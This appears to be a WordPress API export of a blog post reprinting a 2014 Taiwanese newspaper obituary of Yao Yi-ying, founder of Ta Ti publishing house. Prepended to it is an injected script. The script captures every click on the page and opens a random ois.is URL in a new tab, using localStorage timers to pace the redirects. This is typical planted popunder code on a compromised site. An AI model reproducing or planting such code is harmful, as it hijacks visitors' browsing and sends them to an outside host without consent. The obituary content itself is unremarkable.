<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1194,"date":"2016-03-17T20:28:41","date_gmt":"2016-03-17T12:28:41","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1194"},"modified":"2016-03-17T20:28:41","modified_gmt":"2016-03-17T12:28:41","slug":"%e5%a4%a7%e5%9c%b0%e5%87%ba%e7%89%88%e7%a4%be%e5%89%b5%e8%be%a6%e4%ba%ba-%e5%a7%9a%e5%ae%9c%e7%91%9b87%e6%ad%b2%e8%be%ad%e4%b8%96","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1194","title":{"rendered":"\u5927\u5730\u51fa\u7248\u793e\u5275\u8fa6\u4eba \u59da\u5b9c\u745b87\u6b72\u8fad\u4e16"},"content":{"rendered":"<p style=\"margin: 9pt 36pt; line-height: 25pt;\"><b><span style=\"font-size: 16pt; font-family: \u5fae\u8edf\u6b63\u9ed1\u9ad4, sans-serif; color: #0070c0;\">\u5927\u5730\u51fa\u7248\u793e\u5275\u8fa6\u4eba \u59da\u5b9c\u745b<span>87<\/span>\u6b72\u8fad\u4e16<\/span><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 25pt;\"><span style=\"font-family: \u5fae\u8edf\u6b63\u9ed1\u9ad4, sans-serif; color: #414141; font-size: 12pt;\">\u5927\u5730\u51fa\u7248\u793e\u5275\u8fa6\u4eba\u59da\u5b9c\u745b\uff0c\u4e09\u6708\u4e09\u65e5\u65bc\u53f0\u5317\u8fad\u4e16\uff0c\u4eab\u58fd\u516b\u5341\u4e03\u6b72\u3002\u5927\u5730\u51fa\u7248\u793e\u662f\u53f0\u7063\u51fa\u7248\u754c\u9817\u5bcc\u76db\u540d\u7684\u300c\u4e94\u5c0f\u300d\u4e4b\u4e00\uff0c\u59da\u5b9c\u745b\u4e5f\u662f\u7e7c\u6797\u6d77\u97f3\u4e4b\u5f8c\uff0c\u53f0\u7063\u7368\u7acb\u7d93\u71df\u6587\u5b78\u51fa\u7248\u793e\u7684\u5973\u4f5c\u5bb6\uff0c\u4e26\u958b\u5275\u4e86\u53f0\u7063\u98f2\u98df\u6587\u5b78\u7684\u6f6e\u6d41\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 25pt;\"><span style=\"font-family: \u5fae\u8edf\u6b63\u9ed1\u9ad4, sans-serif; color: #414141; font-size: 12pt;\">\u59da\u5b9c\u745b\u751f\u65bc\u4e00\u4e5d\u4e8c\u4e03\u5e74\uff0c\u6c5f\u8607\u5b9c\u8208\u4eba\u3002\u5979\u7562\u696d\u65bc\u4e0a\u6d77\u6cd5\u5b78\u9662\u65b0\u805e\u7cfb\uff0c\u66fe\u4efb\u300c\u6383\u8569\u5831\u300d\u3001\u300c\u7d93\u6fdf\u65e5\u5831\u300d\u8a18\u8005\uff0c\u4e00\u4e5d\u56db\u4e5d\u5e74\u4f86\u53f0\uff0c\u4e00\u4e5d\u4e03\u4e8c\u5e74\u5275\u8fa6\u5927\u5730\u51fa\u7248\u793e\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 25pt;\"><span style=\"font-family: \u5fae\u8edf\u6b63\u9ed1\u9ad4, sans-serif; color: #414141; font-size: 12pt;\">\u5927\u5730\u548c\u7d14\u6587\u5b78\u3001\u723e\u96c5\u3001\u6d2a\u7bc4\u3001\u4e5d\u6b4c\u4e94\u5bb6\u51fa\u7248\u793e\uff0c\u7686\u4ee5\u6587\u5b78\u4f5c\u54c1\u898b\u9577\u3001\u898f\u6a21\u4e0d\u5927\uff0c\u537b\u80fd\u651c\u624b\u958b\u5275\u53f0\u7063\u7684\u6587\u5b78\u9ec3\u91d1\u6642\u4ee3\uff0c\u4e26\u7a31\u300c\u4e94\u5c0f\u300d\u3002\u5176\u4e2d\u5275\u8fa6\u7d14\u6587\u5b78\u51fa\u7248\u793e\u7684\u6797\u6d77\u97f3\u548c\u59da\u5b9c\u745b\uff0c\u662f\u300c\u4e94\u5c0f\u300d\u4e2d\u7684\u5973\u8c6a\u5091\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 25pt;\"><span style=\"font-family: \u5fae\u8edf\u6b63\u9ed1\u9ad4, sans-serif; color: #414141; font-size: 12pt;\">\u723e\u96c5\u51fa\u7248\u793e\u767c\u884c\u4eba\u96b1\u5730\u6307\u51fa\uff0c\u59da\u5b9c\u745b\u6167\u773c\u7368\u5177\u3002\u7576\u6642\u8a69\u96c6\u88ab\u8a8d\u70ba\u5c0f\u773e\u3001\u51b7\u9580\uff0c\u5979\u537b\u770b\u4e0a\u5e2d\u6155\u84c9\u7684\u8a69\u96c6\u300c\u4e03\u91cc\u9999\u300d\u51fa\u7248\uff0c\u9020\u6210\u8f5f\u52d5\uff0c\u4e00\u5e74\u4e4b\u5167\u518d\u7248\u4e03\u6b21\u3002\u59da\u5b9c\u745b\u51fa\u8eab\u4e16\u5bb6\uff0c\u61c2\u5403\u4e5f\u71d2\u5f97\u4e00\u624b\u597d\u83dc\uff0c\u597d\u54c1\u5473\u8b93\u5979\u6316\u6398\u4f5c\u5bb6\u5510\u9b6f\u5b6b\u51fa\u7248\u300c\u8ac7\u5403\u300d\u7cfb\u5217\u6587\u7ae0\uff0c\u958b\u5275\u53f0\u7063\u98f2\u98df\u6587\u5b78\u7684\u98a8\u6f6e\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 25pt;\"><span style=\"font-size: 12pt;\"><span style=\"font-family: \u5fae\u8edf\u6b63\u9ed1\u9ad4, sans-serif; color: #414141;\">\u4e00\u4e5d\u4e5d\u4e5d\u5e74\u59da\u5b9c\u745b\u5c07\u300c\u5927\u5730\u300d\u8f49\u8b93\u7d66\u5433\u932b\u6e05\u7d93\u71df\uff0c\u81ea\u5df1\u5247\u91cd\u65b0\u63d0\u7b46\u5275\u4f5c\u3002\u96b1\u5730\u6307\u51fa\uff0c\u59da\u5b9c\u745b\u7d93\u71df\u51fa\u7248\u793e\u524d\uff0c\u4fbf\u66fe\u51fa\u7248\u9577\u7bc7\u5c0f\u8aaa\u300c\u660e\u5929\u7684\u967d\u5149\u300d\u8207\u77ed\u7bc7\u5c0f\u8aaa\u96c6\u300c\u7159\u300d\uff0c\u672a\u5f15\u8d77\u6ce8\u610f\u3002\u5979\u665a\u5e74\u91cd\u65b0\u51fa\u767c\u5beb\u6563\u6587\u537b\u5927\u53d7\u597d\u8a55\uff0c\u6563\u6587\u96c6\u300c\u6625\u4f86\u300d\u88ab\u6d77\u5167\u5916\u5a92\u9ad4\u8f49\u8f09\uff0c\u6700\u5f8c\u4e00\u672c\u8457\u4f5c\u300c\u5341\u516d\u68f5\u73ab\u7470\u300d\uff0c\u4ee5\u6563\u6587\u4e32\u8d77\u59da\u5b9c\u745b\u7684\u4e00\u751f\uff0c\u88ab\u8a8d\u70ba\u662f\u5979\u6700\u597d\u7684\u4f5c\u54c1\u3002\u30102014\/03\/15 \u806f\u5408\u5831\u3011<\/span><a href=\"http:\/\/udn.com\/\" target=\"_blank\"><span style=\"font-family: \u5fae\u8edf\u6b63\u9ed1\u9ad4, sans-serif; color: #414141;\">@\u00a0<\/span><\/a><a href=\"http:\/\/udn.com\/\">http:\/\/udn.com\/<\/a><\/span><b><\/b><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5927\u5730\u51fa\u7248\u793e\u5275\u8fa6\u4eba \u59da\u5b9c\u745b87\u6b72\u8fad\u4e16 \u5927\u5730\u51fa\u7248\u793e\u5275\u8fa6\u4eba\u59da\u5b9c\u745b\uff0c\u4e09\u6708\u4e09\u65e5\u65bc\u53f0\u5317\u8fad\u4e16\uff0c\u4eab\u58fd\u516b\u5341\u4e03\u6b72\u3002\u5927\u5730\u51fa\u7248\u793e\u662f\u53f0\u7063 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,60,42,56,62],"tags":[91,89,99],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1194"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1194"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1194\/revisions"}],"predecessor-version":[{"id":1195,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1194\/revisions\/1195"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1194"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1194"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1194"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}